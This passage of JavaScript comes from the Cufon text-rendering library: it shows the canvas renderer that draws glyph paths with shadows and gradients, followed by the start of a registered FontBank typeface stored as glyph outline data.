'cufon canvas{display:none;}' +
'}'
).replace(/;/g, '!important;')));
document.getElementsByTagName('head')[0].appendChild(styleSheet);

function generateFromVML(path, context) {
var atX = 0, atY = 0;
var code = [], re = /([mrvxe])([^a-z]*)/g, match;
generate: for (var i = 0; match = re.exec(path); ++i) {
var c = match[2].split(',');
switch (match[1]) {
case 'v':
code[i] = { m: 'bezierCurveTo', a: [ atX + ~~c[0], atY + ~~c[1], atX + ~~c[2], atY + ~~c[3], atX += ~~c[4], atY += ~~c[5] ] };
break;
case 'r':
code[i] = { m: 'lineTo', a: [ atX += ~~c[0], atY += ~~c[1] ] };
break;
case 'm':
code[i] = { m: 'moveTo', a: [ atX = ~~c[0], atY = ~~c[1] ] };
break;
case 'x':
code[i] = { m: 'closePath' };
break;
case 'e':
break generate;
}
context[code[i].m].apply(context, code[i].a);
}
return code;
}

function interpret(code, context) {
for (var i = 0, l = code.length; i < l; ++i) {
var line = code[i];
context[line.m].apply(context, line.a);
}
}

return function(font, text, style, options, node, el) {

var redraw = (text === null);

if (redraw) text = node.getAttribute('alt');

var viewBox = font.viewBox;

var size = style.getSize('fontSize', font.baseSize);

var expandTop = 0, expandRight = 0, expandBottom = 0, expandLeft = 0;
var shadows = options.textShadow, shadowOffsets = [];
if (shadows) {
for (var i = shadows.length; i--;) {
var shadow = shadows[i];
var x = size.convertFrom(parseFloat(shadow.offX));
var y = size.convertFrom(parseFloat(shadow.offY));
shadowOffsets[i] = [ x, y ];
if (y < expandTop) expandTop = y;
if (x > expandRight) expandRight = x;
if (y > expandBottom) expandBottom = y;
if (x < expandLeft) expandLeft = x;
}
}

var chars = Cufon.CSS.textTransform(text, style).split('');

var jumps = font.spacing(chars,
~~size.convertFrom(parseFloat(style.get('letterSpacing')) || 0),
~~size.convertFrom(parseFloat(style.get('wordSpacing')) || 0)
);

if (!jumps.length) return null; // there's nothing to render

var width = jumps.total;

expandRight += viewBox.width - jumps[jumps.length - 1];
expandLeft += viewBox.minX;

var wrapper, canvas;

if (redraw) {
wrapper = node;
canvas = node.firstChild;
}
else {
wrapper = document.createElement('cufon');
wrapper.className = 'cufon cufon-canvas';
wrapper.setAttribute('alt', text);

canvas = document.createElement('canvas');
wrapper.appendChild(canvas);

if (options.printable) {
var print = document.createElement('cufontext');
print.appendChild(document.createTextNode(text));
wrapper.appendChild(print);
}
}

var wStyle = wrapper.style;
var cStyle = canvas.style;

var height = size.convert(viewBox.height);
var roundedHeight = Math.ceil(height);
var roundingFactor = roundedHeight / height;
var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
var stretchedWidth = width * stretchFactor;

var canvasWidth = Math.ceil(size.convert(stretchedWidth + expandRight - expandLeft));
var canvasHeight = Math.ceil(size.convert(viewBox.height - expandTop + expandBottom));

canvas.width = canvasWidth;
canvas.height = canvasHeight;

// needed for WebKit and full page zoom
cStyle.width = canvasWidth + 'px';
cStyle.height = canvasHeight + 'px';

// minY has no part in canvas.height
expandTop += viewBox.minY;

cStyle.top = Math.round(size.convert(expandTop - font.ascent)) + 'px';
cStyle.left = Math.round(size.convert(expandLeft)) + 'px';

var wrapperWidth = Math.max(Math.ceil(size.convert(stretchedWidth)), 0) + 'px';

if (HAS_INLINE_BLOCK) {
wStyle.width = wrapperWidth;
wStyle.height = size.convert(font.height) + 'px';
}
else {
wStyle.paddingLeft = wrapperWidth;
wStyle.paddingBottom = (size.convert(font.height) - 1) + 'px';
}

var g = canvas.getContext('2d'), scale = height / viewBox.height;
var pixelRatio = window.devicePixelRatio || 1;
if (pixelRatio != 1) {
canvas.width = canvasWidth * pixelRatio;
canvas.height = canvasHeight * pixelRatio;
g.scale(pixelRatio, pixelRatio);
}

// proper horizontal scaling is performed later
g.scale(scale, scale * roundingFactor);
g.translate(-expandLeft, -expandTop);
g.save();

function renderText() {
var glyphs = font.glyphs, glyph, i = -1, j = -1, chr;
g.scale(stretchFactor, 1);
while (chr = chars[++i]) {
var glyph = glyphs[chars[i]] || font.missingGlyph;
if (!glyph) continue;
if (glyph.d) {
g.beginPath();
// the following moveTo is for Opera 9.2. if we don't
// do this, it won't forget the previous path which
// results in garbled text.
g.moveTo(0, 0);
if (glyph.code) interpret(glyph.code, g);
else glyph.code = generateFromVML('m' + glyph.d, g);
g.fill();
}
g.translate(jumps[++j], 0);
}
g.restore();
}

if (shadows) {
for (var i = shadows.length; i--;) {
var shadow = shadows[i];
g.save();
g.fillStyle = shadow.color;
g.translate.apply(g, shadowOffsets[i]);
renderText();
}
}

var gradient = options.textGradient;
if (gradient) {
var stops = gradient.stops, fill = g.createLinearGradient(0, viewBox.minY, 0, viewBox.maxY);
for (var i = 0, l = stops.length; i < l; ++i) {
fill.addColorStop.apply(fill, stops[i]);
}
g.fillStyle = fill;
}
else g.fillStyle = style.get('color');

renderText();

return wrapper;

};

})());

/* Domain restrictions prohibit these typefaces from being used elsewhere */

/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright 1990-1993  FontBank, Inc.
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"41,4v-17,0,-26,-10,-26,-27r0,-211v-4,-34,46,-37,52,-11r1,84v28,-27,51,-59,78,-87v17,-27,58,-10,47,20r-82,94r86,93v14,16,9,45,-18,44v-8,0,-15,-3,-20,-8r-84,-91v-3,-3,-6,-5,-7,-5v-5,39,16,105,-27,105","w":203},{"d":"4,-242v-13,-11,-6,-32,11,-32v16,9,47,28,35,53v-20,17,-35,-12,-46,-21","w":64},{"d":"18,-67v20,3,69,46,69,3r2,-181v7,-28,52,-22,52,12r0,174v1,44,-32,63,-78,63v-33,0,-70,-18,-70,-46v-1,-14,11,-27,25,-25","w":156},{"d":"36,-172v-48,-5,-26,-92,11,-94v16,-1,30,12,25,29v-16,17,-1,69,-36,65xm104,-172v-38,0,-32,-61,-14,-79v13,-23,55,-19,50,14v-17,15,-1,65,-36,65","w":141},{"d":"0,-166v-12,-29,32,-55,45,-26v16,34,19,79,30,117r30,-117v16,-27,55,-5,46,26r-41,139v-3,28,-35,37,-57,23v-26,-44,-32,-111,-53,-162","w":150},{"d":"15,-172v-2,-31,39,-38,48,-13v20,-24,71,-18,87,5v37,-40,123,-19,123,42r-1,122v-8,33,-52,23,-52,-11r0,-107v-2,-29,-51,-22,-50,3r0,106v1,17,-9,31,-26,29v-48,-5,-27,-87,-27,-134v0,-16,-10,-26,-27,-23v-40,7,-16,86,-22,128v2,17,-10,29,-26,29v-17,0,-28,-12,-27,-30r0,-146","w":288},{"d":"172,-130v2,21,8,51,-21,51r-88,0v-3,22,11,35,31,35v26,0,35,-26,59,-23v6,2,17,13,15,24v-4,31,-41,47,-78,47v-55,-1,-81,-40,-81,-100v0,-62,24,-106,87,-106v46,0,72,30,76,72xm94,-157v-17,0,-34,13,-29,32r55,0v1,-20,-8,-32,-26,-32","w":182},{"d":"42,4v-17,0,-28,-13,-27,-32r0,-204v-5,-37,55,-43,55,-8r1,212v0,20,-11,32,-29,32","w":86},{"d":"122,4v-82,0,-113,-44,-113,-133v0,-80,29,-134,102,-134v82,0,113,44,113,134v0,80,-29,133,-102,133xm168,-114v2,-57,-2,-102,-55,-102v-41,0,-49,51,-47,102v2,45,10,70,51,70v40,0,50,-26,51,-70","w":232},{"d":"41,0v-21,0,-26,-3,-26,-22r0,-209v2,-23,4,-28,28,-28r81,0v68,1,98,51,97,125v-2,84,-16,134,-91,134r-89,0xm164,-122v0,-48,-4,-91,-51,-88v-15,1,-41,-8,-42,9r2,154r46,0v40,-2,45,-26,45,-75","w":229},{"d":"-13,38v0,-25,31,-10,31,-38r0,-171v-5,-29,44,-36,50,-10r1,188v2,37,-19,57,-53,57v-18,1,-29,-10,-29,-26xm45,-210v-15,-1,-28,-11,-28,-26v0,-17,10,-28,28,-28v15,-1,26,11,26,27v0,16,-10,27,-26,27","w":87},{"d":"37,-104v-1,-13,-9,-26,-23,-26v16,0,23,-12,23,-26r0,-115v-1,-35,37,-32,71,-31v15,1,15,23,0,24v-17,0,-25,1,-25,19v0,48,19,124,-29,129v48,6,23,83,29,130v-6,29,35,9,37,31v-2,18,-33,10,-51,11v-20,1,-32,-9,-32,-30r0,-116","w":133},{"d":"212,-79v3,107,-196,106,-207,16v-3,-26,37,-31,47,-12v16,31,96,49,103,0v-18,-60,-144,-17,-144,-108v0,-96,170,-104,190,-27v-14,59,-65,-13,-98,-5v-28,-4,-46,29,-24,44v20,8,41,14,64,19v46,12,69,37,69,73"},{"d":"41,0v-37,4,-48,-25,-30,-51r110,-159v-27,-6,-68,4,-99,-3v-25,-6,-19,-46,14,-46r125,0v27,-1,37,33,21,56r-107,155v30,3,64,0,96,1v20,0,30,8,30,23v0,14,-11,25,-26,24r-134,0","w":201},{"d":"41,4v-15,0,-26,-11,-26,-26r0,-213v-4,-33,52,-39,52,-7r0,219v1,17,-10,27,-26,27","w":82},{"d":"39,-266v49,6,26,92,-11,94v-17,1,-31,-11,-26,-29v16,-14,1,-70,37,-65","w":74},{"d":"14,-58r85,-151r84,151r-44,0r-40,-77r-41,77r-44,0","w":196},{"d":"83,-202v18,-2,32,7,42,17v7,-25,48,-18,48,9r0,171v-1,50,-49,73,-104,67v-30,-3,-71,-22,-48,-53v25,-17,42,14,76,8v18,-3,26,-12,24,-34v-9,9,-23,13,-40,13v-54,0,-71,-40,-72,-99v-2,-65,21,-94,74,-99xm99,-156v-36,-6,-39,26,-39,61v0,31,7,44,34,46v24,2,29,-31,27,-62v-1,-28,-2,-42,-22,-45","w":188},{"d":"44,4v-15,0,-30,-14,-30,-30v0,-17,14,-30,30,-30v15,0,30,15,30,30v0,16,-14,30,-30,30xm132,4v-16,0,-30,-14,-30,-30v0,-15,15,-30,30,-30v15,0,30,15,30,30v0,16,-13,30,-30,30xm220,4v-17,0,-30,-13,-30,-30v-1,-15,15,-30,30,-30v16,0,31,14,31,30v0,16,-14,30,-31,30","w":264},{"d":"14,-259r39,0r45,259r-39,0","w":111},{"d":"43,0v-25,-1,-28,-2,-28,-27r0,-203v0,-22,11,-32,29,-34v16,1,28,13,27,32r0,178v0,6,0,7,6,7v35,4,98,-14,99,23v0,14,-11,25,-26,24r-107,0","w":168},{"w":104},{"d":"171,-28v5,29,-38,39,-48,15v-36,34,-108,8,-108,-47r0,-112v0,-21,6,-32,25,-32v48,0,27,85,27,131v0,21,8,31,24,31v49,-3,29,-85,29,-134v0,-17,7,-28,24,-28v16,0,27,11,27,27r0,149","w":186},{"d":"49,-10v-15,26,-67,9,-50,-18r67,-108v-19,-34,-46,-63,-60,-101v0,-22,35,-35,49,-13r41,66v17,-19,30,-44,43,-66v13,-21,50,-10,48,13v-12,39,-41,67,-59,101r67,108v10,30,-33,45,-50,18r-48,-77v-17,24,-34,51,-48,77","w":193},{"d":"14,13r0,-13r129,0r0,13r-129,0","w":156},{"d":"69,-26v3,20,-10,29,-26,30v-18,0,-28,-10,-28,-29r0,-197v-5,-40,51,-59,70,-29v31,49,48,116,73,172r0,-155v0,-20,8,-31,25,-31v19,0,28,9,28,28r0,199v7,44,-56,54,-74,25v-29,-45,-45,-108,-68,-159r0,146","w":226},{"d":"69,-28v0,35,-49,42,-55,9v-4,-24,5,-43,26,-43v18,0,29,17,29,34xm41,-136v-18,-1,-29,-12,-28,-32v0,-21,9,-33,27,-33v17,0,28,14,28,33v1,19,-9,32,-27,32","w":76},{"d":"163,-160v3,43,-24,70,-64,55v-18,-7,-54,-32,-56,5r-29,0v-4,-44,22,-68,63,-55v18,6,55,33,57,-5r29,0","w":176},{"d":"102,-264v65,-6,106,44,85,103v-4,12,-16,18,-26,25v78,36,26,153,-62,139v-39,-6,-79,-24,-81,-62v-2,-32,45,-32,51,-6v15,28,82,24,72,-20v1,-40,-74,-6,-74,-48v0,-40,70,-10,70,-52v0,-39,-54,-41,-64,-10v-9,28,-51,31,-54,-4v6,-39,40,-61,83,-65"},{"d":"76,-199v46,-12,94,11,94,52r0,122v5,30,-41,38,-48,12v-30,34,-113,14,-113,-44v0,-62,49,-71,111,-71v2,-59,-70,-8,-88,-8v-8,0,-16,-11,-15,-21v2,-27,32,-36,59,-42xm120,-70v5,-22,-12,-15,-28,-14v-33,-5,-43,41,-10,43v24,2,38,-11,38,-29","w":185},{"d":"69,-207v-8,-18,-67,10,-67,-30v0,-15,10,-23,29,-23r135,0v28,-4,37,38,13,46v-15,2,-32,1,-48,1v-6,0,-6,2,-7,7r0,188v0,14,-13,25,-28,25v-16,0,-28,-11,-27,-29r0,-185","w":193},{"d":"42,5v-16,0,-28,-12,-27,-27r0,-153v-2,-26,39,-34,47,-11v40,-34,111,-9,111,53r0,110v0,16,-10,28,-25,28v-51,0,-20,-86,-28,-138v-1,-11,-11,-21,-24,-21v-48,3,-23,85,-28,132v-2,16,-9,28,-26,27","w":188},{"d":"25,-278v-14,0,-14,-24,0,-24v34,0,71,-5,71,31r0,115v0,15,9,26,24,26v-14,0,-23,13,-24,26r0,116v2,35,-37,30,-71,30v-7,0,-11,-5,-11,-12v1,-21,43,-1,36,-30v5,-48,-18,-123,28,-130v-48,-6,-28,-82,-28,-129v0,-17,-8,-20,-25,-19","w":133},{"d":"14,-173r7,-86r39,0r-7,86r-39,0","w":73},{"d":"1,-164v-17,-29,31,-60,45,-29v15,34,22,75,33,112r29,-97v7,-21,16,-30,34,-25v16,4,22,20,16,37v-25,69,-40,155,-76,213v-14,23,-84,23,-79,-14v2,-16,15,-23,35,-21v13,1,16,-10,12,-21","w":157},{"d":"8,-62r0,-48r142,0r0,48r-142,0","w":158},{"d":"12,-134v-2,-13,11,-23,23,-22r146,0v11,-1,24,12,23,23v-1,12,-10,23,-23,23r-146,0v-12,1,-25,-12,-23,-24","w":215},{"d":"88,5v-17,0,-28,-13,-28,-31v0,-20,12,-33,30,-33v15,0,26,13,26,29v0,21,-9,35,-28,35xm120,-105v-8,0,-5,6,-6,13v1,13,-12,21,-25,21v-32,0,-34,-37,-26,-64v14,-17,60,-4,55,-42v5,-45,-57,-44,-68,-11v-8,25,-53,24,-50,-7v4,-43,43,-67,92,-67v50,0,84,33,84,84v0,38,-24,64,-56,73","w":182},{"d":"21,26v-24,4,-33,-32,-10,-43v34,-27,30,-43,32,-112v2,-78,-7,-91,-43,-123v-9,-15,4,-36,21,-32v65,14,76,69,76,155v1,87,-13,144,-76,155","w":109},{"d":"113,5v-81,0,-105,-44,-104,-134v1,-83,21,-135,94,-135v82,0,104,45,104,135v-1,83,-20,134,-94,134xm108,-215v-49,-2,-45,52,-45,104v1,42,7,66,45,67v50,2,45,-52,45,-104v0,-42,-8,-65,-45,-67","w":215},{"d":"79,-101v-6,1,-7,1,-7,9v0,38,15,99,-27,98v-20,0,-30,-10,-30,-30r0,-209v1,-18,5,-26,24,-26r110,0v20,0,32,5,32,24v-1,38,-66,17,-101,23v-19,3,-5,39,-9,58v1,4,2,6,8,6v34,0,88,-12,90,21v2,38,-54,23,-90,26","w":176},{"d":"20,-150v-26,2,-35,-41,-9,-46v14,3,8,-18,9,-32v-3,-25,28,-37,44,-22v11,9,5,30,7,48v1,11,38,1,34,28v-2,16,-13,25,-33,23r0,128v1,17,-11,28,-27,28v-14,0,-25,-13,-24,-28","w":94},{"d":"68,-137v-34,1,-61,-29,-61,-64v0,-34,28,-64,62,-64v34,0,62,28,61,63v-1,39,-24,64,-62,65xm97,-6v-10,19,-45,13,-42,-11v0,-4,1,-8,3,-12r121,-224v9,-22,44,-10,42,11v0,4,-1,8,-3,12xm208,6v-37,0,-61,-27,-61,-64v0,-36,24,-63,61,-63v37,0,61,25,61,63v0,38,-25,64,-61,64xm69,-228v-30,0,-29,54,-1,54v14,0,22,-12,22,-28v0,-14,-8,-26,-21,-26xm186,-58v0,15,8,28,22,27v14,0,22,-11,22,-27v0,-16,-7,-27,-22,-26v-14,0,-22,12,-22,26","w":276},{"d":"66,45v-6,27,-51,19,-51,-13r0,-208v-6,-31,42,-37,48,-13v16,-9,29,-18,50,-15v59,8,67,49,70,124v3,65,-64,104,-115,70v-3,16,2,39,-2,55xm101,-157v-34,-1,-35,31,-34,69v0,26,8,42,31,42v27,0,31,-21,31,-54v0,-32,-2,-56,-28,-57","w":192},{"d":"169,-62v6,85,-149,89,-164,20v1,-38,44,-22,54,-6v14,9,55,16,58,-5v3,-23,-35,-22,-53,-28v-29,-10,-53,-25,-54,-57v-4,-69,98,-75,141,-42v18,14,11,49,-14,44v-19,-4,-30,-20,-54,-20v-22,0,-25,23,-3,28v43,9,85,18,89,66","w":174},{"d":"109,5v-79,1,-96,-60,-96,-145v0,-77,26,-122,96,-124v38,-2,84,19,84,51v0,31,-43,29,-56,5v-34,-23,-76,4,-68,51v12,-12,30,-23,52,-22v57,1,86,44,81,103v-5,50,-39,81,-93,81xm116,-130v-33,-3,-47,17,-44,51v2,23,16,34,38,34v26,0,38,-17,37,-44v0,-24,-10,-39,-31,-41"},{"d":"50,-111v-17,0,-27,-11,-25,-31r7,-92v0,-20,11,-25,31,-25r97,0v15,0,28,8,27,23v0,42,-66,20,-106,27v-4,10,-4,30,-4,42v49,-39,118,1,118,75v0,60,-32,97,-91,97v-46,0,-83,-29,-86,-64v-2,-24,36,-40,48,-16v8,16,17,32,39,31v28,-1,38,-23,36,-55v-2,-22,-13,-36,-35,-36v-26,0,-30,24,-56,24","w":215},{"d":"131,-199v29,-5,32,28,19,47r-75,105v32,2,84,-10,83,24v0,16,-10,23,-28,23v-40,0,-93,7,-121,-8v-10,-11,-4,-29,3,-38r77,-107v-30,-4,-80,12,-80,-23v0,-41,81,-15,122,-23","w":163},{"d":"65,-12v-8,24,-50,19,-50,-10r0,-213v-1,-17,11,-27,27,-27v34,-2,23,42,25,74v11,-5,22,-15,38,-14v61,4,73,42,73,116v0,70,-61,113,-113,74xm101,-154v-35,-8,-35,28,-34,64v0,29,5,45,29,46v31,1,28,-35,27,-68v-1,-26,-3,-38,-22,-42","w":187},{"w":104},{"d":"46,-8v-10,22,-47,16,-47,-11v9,-33,34,-53,47,-82v-14,-25,-41,-46,-45,-77v-3,-20,33,-33,47,-11r28,43v15,-18,22,-52,49,-56v22,2,31,25,17,46r-37,55v14,29,37,50,48,82v1,14,-11,25,-26,25v-29,-8,-43,-49,-53,-65","w":151},{"d":"130,1v-65,6,-116,-20,-115,-81r2,-166v5,-26,52,-23,52,9r0,145v-1,36,15,50,52,46v29,-3,36,-13,37,-46r0,-145v-3,-24,25,-34,44,-22v8,5,9,12,10,23r0,156v-1,50,-32,76,-82,81","w":227},{"d":"207,-55v-18,80,-200,80,-200,-16v-1,-34,15,-55,39,-65v-20,-13,-33,-29,-32,-60v3,-87,174,-92,187,-9v5,34,-8,58,-30,69v28,11,45,42,36,81xm71,-188v-1,21,17,32,43,30v21,-2,32,-12,32,-30v1,-20,-17,-31,-43,-29v-21,2,-32,12,-32,29xm63,-79v0,43,79,46,89,11v9,-31,-20,-43,-51,-43v-22,0,-38,12,-38,32","w":215},{"d":"15,-152v-24,0,-22,-43,-2,-45v10,2,5,-13,6,-21v-8,-49,81,-62,89,-18v2,20,-21,26,-36,16v-9,5,-6,29,10,23v12,0,23,9,22,22v-2,14,-10,26,-28,23v-2,0,-4,1,-4,3r0,124v0,19,-8,29,-24,29v-18,0,-29,-11,-29,-29r0,-127r-4,0","w":96},{"d":"9,-92v-12,-86,54,-141,117,-96v7,-24,50,-21,50,11r0,208v0,19,-8,31,-27,31v-33,0,-26,-43,-26,-71v-55,33,-124,-9,-114,-83xm95,-157v-35,0,-34,30,-33,69v0,27,6,42,29,43v32,2,32,-30,32,-64v0,-32,-9,-48,-28,-48","w":191},{"d":"38,-64v50,6,26,91,-10,94v-16,1,-31,-11,-26,-28v17,-14,1,-70,36,-66","w":74},{"d":"38,-266v49,5,26,92,-11,94v-16,1,-30,-11,-25,-29v16,-15,1,-69,36,-65xm105,-266v50,0,27,92,-10,94v-14,1,-27,-7,-27,-21v1,-11,15,-23,11,-40v-1,-20,9,-33,26,-33","w":141},{"d":"61,0v-48,7,-52,-37,-25,-63r83,-80v24,-16,37,-66,-3,-71v-36,-4,-33,42,-65,47v-14,2,-27,-12,-26,-27v4,-45,44,-69,97,-69v61,0,96,64,67,117v-20,37,-64,66,-95,96v35,9,101,-18,106,25v2,17,-11,25,-28,25r-111,0"},{"d":"5,-104v0,-35,52,-22,86,-24v15,0,27,8,27,23v0,37,-51,25,-85,25v-17,0,-28,-9,-28,-24","w":123},{"d":"-1,-224v-11,-18,3,-40,24,-40v11,0,18,5,23,14r44,88r45,-89v10,-24,53,-10,50,14v-16,47,-44,82,-64,124v-15,34,21,139,-49,112v-23,-19,3,-77,-13,-108","w":179},{"d":"100,-265v64,-3,88,81,35,115v-20,13,13,34,24,46v2,-22,5,-44,27,-44v40,0,19,58,10,85v8,11,25,24,26,40v0,19,-28,36,-42,19v-5,-5,-11,-12,-17,-16v-52,49,-172,17,-153,-73v5,-28,24,-41,45,-57v-11,-15,-23,-31,-24,-55v-2,-32,32,-58,69,-60xm88,-220v-21,22,10,58,24,27v10,-18,-7,-38,-24,-27xm83,-113v-38,18,-21,83,32,67v6,-3,24,-3,16,-12","w":226},{"d":"33,-160v-10,12,-31,5,-30,-12v0,-21,25,-19,39,-26v-15,-6,-39,-4,-39,-24v0,-33,39,-10,50,5v-5,-16,-15,-47,10,-47v25,0,17,30,11,47v10,-15,46,-38,50,-5v2,19,-25,18,-39,24v15,7,38,6,39,26v1,16,-19,23,-30,12r-19,-19v5,17,14,49,-12,49v-24,-1,-16,-32,-11,-49","w":126},{"d":"51,-15v-4,31,-59,21,-51,-4r63,-211v9,-38,59,-43,73,2r64,209v1,27,-47,30,-55,4r-12,-42r-69,1v-6,11,-9,28,-13,41xm77,-110v1,13,33,8,42,4r-21,-75","w":198},{"d":"120,-51v-47,-6,-142,13,-101,-54r85,-139v12,-33,69,-28,69,10r0,131v18,0,34,5,33,24v0,19,-11,29,-33,26v-2,24,4,56,-26,56v-28,0,-29,-25,-27,-54xm75,-108v-3,3,-1,6,4,5r41,0r0,-84"},{"d":"45,0v-27,-1,-30,-1,-30,-26r0,-203v0,-54,82,-22,131,-29v38,6,69,32,64,79v-2,22,-12,40,-29,47v60,29,37,132,-39,132r-97,0xm154,-177v7,-39,-38,-38,-76,-35v-17,1,-4,35,-8,51v5,13,34,3,49,6v20,0,32,-7,35,-22xm70,-55v0,7,1,7,7,8v40,0,88,7,81,-38v-4,-29,-47,-21,-81,-22v-5,0,-7,2,-7,6r0,46","w":222},{"w":0},{"d":"-1,-227v-12,-27,20,-47,42,-31v5,4,7,9,9,15r48,169r47,-169v4,-29,57,-25,54,5r-62,208v-5,30,-39,42,-64,25v-6,-5,-10,-13,-14,-25","w":195},{"d":"268,-262v17,0,34,14,28,34r-48,198v-3,43,-65,46,-74,1r-26,-129r-26,129v0,31,-39,41,-61,25v-6,-5,-10,-14,-13,-26r-49,-205v-2,-32,49,-36,55,-4r30,152v6,-51,22,-95,27,-144v4,-39,66,-44,74,0r27,144r30,-152v1,-15,12,-23,26,-23","w":295},{"d":"68,-27v4,36,-52,39,-52,9r-1,-199v-5,-44,43,-60,69,-36v25,44,33,108,51,160r39,-133v6,-52,81,-52,81,9r0,199v-6,31,-52,27,-52,-9r-1,-123v-16,48,-27,101,-46,145v-15,16,-42,8,-50,-18r-38,-127r0,123","w":270},{"d":"89,26v-63,-11,-76,-70,-76,-155v0,-87,12,-141,76,-155v24,-4,33,33,10,43v-34,27,-31,42,-32,112v-2,77,4,91,43,122v9,15,-4,36,-21,33","w":109},{"d":"107,-276v5,-23,35,-18,36,2r-106,299v-4,21,-36,14,-35,-4","w":144},{"d":"45,4v-16,0,-30,-10,-30,-29r0,-204v-5,-52,71,-27,112,-30v54,-5,84,40,77,99v-7,58,-56,73,-125,67v-8,0,-8,0,-8,8v-2,36,12,89,-26,89xm149,-177v0,-40,-34,-35,-71,-35v-5,0,-7,2,-7,7r0,64v34,3,78,7,78,-36","w":202},{"d":"82,-188v-14,16,-44,4,-41,-18v3,-25,34,-36,50,-51v18,-17,44,-4,44,23r0,210v0,15,-9,28,-25,28v-17,0,-27,-12,-27,-30"},{"d":"14,-173r7,-86r39,0r-7,86r-39,0xm71,-173r7,-86r39,0r-8,86r-38,0","w":130},{"d":"13,-43v-20,-28,16,-61,39,-34v12,15,27,30,49,32r0,-66v-51,-8,-93,-32,-88,-79v5,-43,39,-70,89,-71v0,-13,-2,-26,12,-26v17,0,13,13,13,27v36,4,72,19,76,51v-10,48,-54,7,-76,-3r0,56v52,9,95,33,85,95v-6,38,-42,59,-86,64v8,26,-22,38,-26,15r0,-15v-41,-3,-69,-22,-87,-46xm127,-45v31,-1,43,-50,7,-56r-7,-3r0,59xm101,-215v-35,-1,-38,46,-6,51r6,1r0,-52","w":217},{"d":"43,5v-16,0,-28,-11,-28,-30r0,-213v-1,-14,11,-26,25,-26v35,0,26,44,27,80v34,-37,108,-9,108,44r-1,126v-7,28,-51,22,-51,-12r-1,-106v1,-16,-18,-27,-34,-21v-38,13,-21,85,-21,129v0,17,-8,29,-24,29","w":190},{"d":"93,3v-61,0,-84,-38,-84,-104v0,-66,23,-104,84,-104v61,0,84,37,83,104v0,66,-22,104,-83,104xm90,-44v23,0,32,-14,32,-39v-2,-43,1,-70,-27,-76v-28,3,-32,21,-32,58v1,32,1,57,27,57","w":185},{"d":"1,3v1,-15,14,-26,34,-23r0,-219v-39,8,-44,-46,-10,-46v27,0,63,-8,63,20r0,271v2,28,-36,19,-63,20v-12,1,-25,-11,-24,-23","w":103},{"d":"64,-28v0,35,-49,42,-55,9v-4,-24,5,-43,26,-43v18,0,29,17,29,34","w":71},{"d":"70,-28v1,19,-5,33,-23,33v-19,0,-28,-10,-28,-32r1,-156v6,-28,50,-19,50,10r0,145xm69,-241v1,39,-52,36,-54,2v0,-14,11,-27,28,-27v14,0,26,12,26,25","w":85},{"d":"118,-262v101,-4,123,95,106,192v-5,27,-20,47,-39,59v22,19,6,63,-26,48v-16,-8,-12,-39,-42,-31v-77,-1,-108,-49,-108,-132v1,-90,26,-132,109,-136xm103,-44v-10,-16,-7,-47,20,-46v19,0,26,23,35,35v16,-15,13,-56,13,-88v0,-45,-13,-65,-53,-69v-67,-6,-55,91,-47,143v6,11,15,23,32,25","w":237},{"d":"46,2v-17,-1,-28,-15,-28,-34v-1,-18,11,-30,29,-30v18,-1,27,14,28,30v0,19,-11,34,-29,34xm46,-76v-16,0,-25,-12,-26,-29r-5,-131v0,-16,12,-30,28,-30v18,1,29,10,29,30r0,131v0,16,-11,28,-26,29","w":90},{"d":"69,-12v-7,28,-54,21,-54,-13r0,-209v0,-16,12,-28,29,-28v42,0,23,63,27,101v0,4,2,7,7,7r78,0v5,-1,6,-2,7,-7v4,-38,-15,-101,26,-101v17,0,29,12,29,28r0,209v0,20,-10,30,-29,30v-43,1,-21,-65,-26,-104v0,-5,-3,-8,-8,-8r-77,0v-6,0,-7,3,-8,8","w":233},{"d":"22,-232v0,-17,11,-28,30,-27r112,0v21,-1,35,18,26,38r-89,209v-10,35,-68,17,-55,-13r80,-183v-37,-4,-104,14,-104,-24"},{"d":"2,-164v-11,-25,19,-45,40,-31v4,3,8,8,9,13r24,104r22,-95v5,-36,56,-35,64,0r22,95r24,-104v4,-26,58,-20,51,7r-42,157v-7,24,-34,31,-52,17v-21,-30,-23,-83,-35,-122v-12,40,-15,91,-34,122v-20,16,-48,3,-55,-23","w":258},{"d":"67,-68v-1,33,7,72,-26,72v-17,1,-26,-10,-26,-26r0,-216v-2,-28,46,-35,51,-9v6,31,1,71,2,106v23,-20,34,-54,67,-61v20,-4,31,28,16,44r-39,42v17,32,42,58,53,96v0,23,-36,33,-49,10r-39,-68","w":166},{"d":"97,3v-63,-1,-88,-36,-88,-103v0,-61,25,-100,82,-101v37,-1,71,17,74,48v1,24,-29,32,-41,15v-24,-32,-72,-11,-60,43v0,28,3,51,32,51v26,0,24,-40,48,-38v14,0,28,10,26,25v-4,37,-32,59,-73,60","w":176},{"d":"145,-102v-45,48,-133,11,-133,-61v0,-60,35,-103,93,-101v86,3,95,65,96,167v0,63,-35,101,-96,102v-44,1,-104,-29,-76,-68v33,-22,38,22,74,21v31,-1,44,-26,42,-60xm104,-214v-25,0,-37,17,-37,44v0,29,15,45,46,41v23,-3,33,-24,29,-51v-3,-23,-16,-34,-38,-34","w":215},{"d":"36,-172v-37,0,-32,-62,-14,-79v13,-24,58,-18,50,14v-17,14,0,65,-36,65","w":74},{"d":"44,0v-22,0,-29,-5,-29,-26r0,-208v0,-21,7,-24,27,-25r121,0v19,0,33,6,31,24v-4,41,-76,16,-116,23v-5,0,-7,1,-7,5r0,45v0,6,1,6,7,6v37,5,106,-15,106,23v0,42,-68,20,-106,25v-5,0,-7,2,-7,6r0,49v0,4,1,6,5,6v41,6,119,-18,122,24v1,15,-11,23,-27,23r-127,0","w":203},{"d":"44,5v-17,0,-30,-9,-29,-28r0,-211v1,-22,7,-24,30,-25r83,0v83,-11,103,124,34,147v-8,2,-1,6,0,10v13,28,31,51,41,82v0,26,-40,34,-53,9r-46,-88v-9,0,-33,-6,-34,6v-4,38,15,98,-26,98xm71,-149v32,3,77,6,77,-32v0,-34,-37,-32,-71,-31v-5,0,-7,3,-7,9v1,18,-1,38,1,54","w":211},{"d":"112,3v-76,-1,-103,-46,-103,-128v0,-92,36,-144,125,-135v34,3,71,31,71,63v0,15,-11,25,-26,26v-32,-1,-27,-45,-65,-42v-39,3,-48,26,-48,70v1,61,1,92,50,99v36,5,37,-55,66,-56v19,0,28,11,28,27v0,48,-43,78,-98,76","w":215},{"d":"73,-198v20,-4,38,0,49,11v2,-32,-9,-76,24,-76v16,-1,28,11,28,26r0,215v4,32,-45,3